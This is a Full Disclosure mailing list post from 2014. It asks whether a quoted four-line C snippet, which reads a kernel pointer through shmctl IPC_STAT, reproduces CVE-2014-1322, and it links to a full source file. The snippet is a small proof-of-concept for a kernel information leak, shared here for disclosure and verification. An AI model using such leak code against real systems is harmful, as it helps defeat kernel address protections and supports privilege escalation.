Full Disclosure mailing list archives

A way to trigger CVE-2014-1322 (userspace read kernel pointer)?

From: rai () openmailbox org
Date: Tue, 20 May 2014 10:45:38 +0000

 

Hi,

There's a claim this triggers CVE-2014-1322 allowing local user to read
a kernel pointer:

int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );
struct shmid_ds lolz;
int res = shmctl( shm, IPC_STAT, &lolz );
printf( "%pn", lolz.shm_internal );

full source: http://maker.fea.st/CVE-2014-1322.c [1]

Is anyone able to reproduce?

--
rai

 

Links:
------
[1] http://maker.fea.st/CVE-2014-1322.c

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Current thread:

A way to trigger CVE-2014-1322 (userspace read kernel pointer)? rai (May 20)
- Re: A way to trigger CVE-2014-1322 (userspace read kernel pointer)? Christian Mayer (May 20)
  - Re: A way to trigger CVE-2014-1322 (userspace read kernel pointer)? Keira Cran (May 21)